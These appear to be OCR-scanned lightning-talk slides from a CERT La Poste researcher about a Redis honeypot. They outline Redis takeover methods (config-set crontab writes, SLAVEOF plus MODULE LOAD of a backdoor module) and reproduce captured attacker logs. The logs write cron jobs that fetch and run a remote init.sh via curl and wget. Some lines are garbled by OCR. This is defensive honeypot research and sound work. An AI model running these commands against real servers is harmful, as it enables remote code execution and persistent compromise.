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&) Asaf Eitani o February 01,2023

HeadCrab: A Novel State-of-the-Art Redis Malware in a Global
Campaign

https://blog.aquasec.com/headcrab-attacks-servers-worldwide-with-novel-state-of-art-redis-malware



Redis

Open source, in-memory data store used by
millions of developers as a database, cache,
streaming engine, and message broker.

"Designed to be totally insecure 1if exposed
to the outside world." - antirez




Python

>>> pydict['key'] = 'value'
>>> pydict.get('key')
value

Redis

127.0.0.1:6379> set key value
OK

127.0.0.1:6379> get key
"value"



How to pwn a Redis

e Lua sandbox escape (or other CVE)
e config set + ssh key/webshell/crontab
e SLAVEOF + MODULE LOAD




SLAVEOF + MODULE LOAD
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set dbfilename backdoor.so

SLAVEOF EVIL-IP

REPLCONF (sync malicious RDB)

MODULE LOAD backdoor.so |




Inner workings

r

if attack:
save_binary()
return fake result
else:
return redis result




Results



Results

The honeypot was pushed to prod this morning
at 3AM so I haven't had the time to get any
interesting results (or sleep), so ...
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The honeypot pushed to e this morning
at 3AM so I have had ta@” time to get any
interesting results Qag® Leep), SO ...




Free malware!

.236.77:51272 [b'set', b'backup1', b'#/2 = * * % rpot cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh']
.236.77:51272 [b'set', b'backup2', b'#/3 * * * * ropot wget -q -0- http://en2an.top/cleanfda/init.sh | sh']
.236.77:51272 [b'set"', b'backup3', b'*/4 * * * * rpot curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh']
.236.77:51272 [b'set"', b'backup4', b'*/5 * * * * root wd1 -q -0- http://45.83.123.29/cleanfda/init.sh | sh']
.236.77:51272 [b'config', b'set', b'dir', b'fetc/cron.d/"]

.236.77:51272 [b'config', b'set', b'dbfilename', b'zzh']

.236.77:51272 [b'save']

.236.77:51272 [b'config', b'set', b'dir', b'/etc/']

.236.77:51272 [b'config', b'set', b'dbfilename', b'crontab']

.236.77:51272 [b'save"]

11.235:50828 [b'INFO']

-214:58276 [b'info']

. 214:56990 [b' COMMAND ' ]

.214:56990 [b'config', b'set', b'dbfilename', b'backup.db']

.214:56990 [b'save']

.214:56990 [b'config', b'set', b'stop-writes-on-bgsave-error', b'no']

.214:56998 [b'flushall']

.214:56990 [b'set', b'backup1', b'*/2 * % % % cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup2', b'*/3 * * * * wget -gq -0- http://en2an.top/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup3', b'*/4 * * * * curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup4', b'*/5 * * * * wd1l -g -0- http://45.83.123.29/cleanfda/init.sh | sh']
.214:56990 [b'config', b'set', b'dir', b'/var/fspool/cron/']

.214:56990 [b'config', b'set', b'dbfilename', b'root']

. 214:56990 [b'save']

L. 214:56990 [b'config', b'set', b'dir', b'/var/spoolfcron/crontabs']

.214:56998 [b'save']

.214:56998 [b'flushall']

.214:56990 [b'set', b'backup1', b'#/2 * * * * rpot cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup2', b'%/3 * * * * rpot wget -q -0- http://en2an.top/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup3', b'*/4 * * * * rpot curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh']
.214:56990 [b'set', b'backup4', b'*/5 * * * * root wd1l -q -0- http://45.83.123.29/cleanfda/init.sh | sh']
.214:56990 [b'config', b'set', b'dir', b'fetc/cron.d/f']

.214:56990 [b'config', b'set', b'dbfilename', b'zzh']

L. 214:56990 [b'save']

.214:56990 [b'config', b'set', b'dir', b'/etc/']

.214:56990 [b'config', b'set', b'dbfilename', b'crontab']
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See you next year!

@yarienkiva - Alois - CERT La Poste
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- LT done, plz don't fire me

La Poste recrute ;) Christophe

- Fumiko plz post more music

on twitter




